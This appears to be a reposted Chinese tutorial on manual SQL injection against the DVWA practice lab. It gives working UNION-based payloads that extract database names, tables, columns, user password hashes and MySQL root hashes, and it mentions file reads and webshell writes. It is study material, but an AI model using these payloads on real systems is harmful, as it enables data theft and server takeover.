sql回顯注入(滿滿的干貨)


三種注入poc

 where user_id = 1 or 1=1

 where user_id = '1' or '1'='1'

 where user_id =" 1 "or "1"="1"

三種sql注釋符

#     單行注釋   注意與url中的#區分,常編碼為%23

--空格      單行注釋  注意為短線短線空格

/*()*/      多行注釋  至少存在倆處的注入   /**/常用來作為空格

注入流程

是否存在注入並且判斷注入類型

判斷字段數   order by 

確定回顯點      union select 1,2

查詢數據庫信息    @@version    @@datadir

查詢用戶名,數據庫名     user()   database()

文件讀取  union select 1,load_file('C:\\wondows\\win.ini')#

寫入 webshell       select..into  outfile...

補充一點,使用sql注入遇到轉義字符串的單引號或者雙引號,可使用HEX編碼繞過

 

sql注入

SQL Injection,即SQL注入,SQLi,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害巨大,常常會導致整個數據庫被脫褲,如今SQL注入仍是現在最常見的Web漏洞之一。

SQL 注入分類:

SQLMap中的分類來看,SQL注入類型有以下5種:

 

UNION query SQL injection(可聯合查詢注入)

Stacked queries SQL injection(可多語句查詢注入)堆疊查詢

Boolean-based blind SQL injection(布爾型注入)

Error-based SQL injection(報錯型注入)

Time-based blind SQL injection(基於時間延遲注入)

SQL 注入常規利用思路:

 1、尋找注入點,可以通過 web 掃描工具實現

 2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。

 3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)

 3.1 還可以獲取數據庫的root賬號 密碼—思路

 4、可以通過獲得的用戶信息,尋找后台登錄。

 5、利用后台或了解的進一步信息。

手工注入常規思路:

1.判斷是否存在注入,注入是字符型還是數字型

 2.猜解 SQL 查詢語句中的字段數

 3.確定顯示的字段順序

 4.獲取當前數據庫

 5.獲取數據庫中的表

 6.獲取表中的字段名

 7.查詢到賬戶的數據

下面對四種級別的代碼進行分析。

 猜數據庫:

1' union select 1,database()#

payload利用另一種方式:

1' union select user(),database()#

Version()#

得到數據庫名:dvwa

PS:union查詢結合了兩個select查詢結果,根據上面的order by語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用union查詢結合我們構造的另外一個select.注意在使用union查詢的時候需要和主查詢的列數相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

得到表名:guestbook,users

group_concat 分組

 猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#

1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用編碼就不用單引號,用單引號就不用編碼)

 得到列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用戶數據:

列舉出幾種payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

1' union select null,concat_ws(char(32,58,32),user,password) from users #  

1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #  

得到用戶數據:

admin 5f4dcc3b5aa765d61d8327deb882cf99

 root 用戶:

1' union select 1,group_concat(user,password) from mysql.user#

得到root用戶信息:

root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

 

 

 

 
 
 
 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM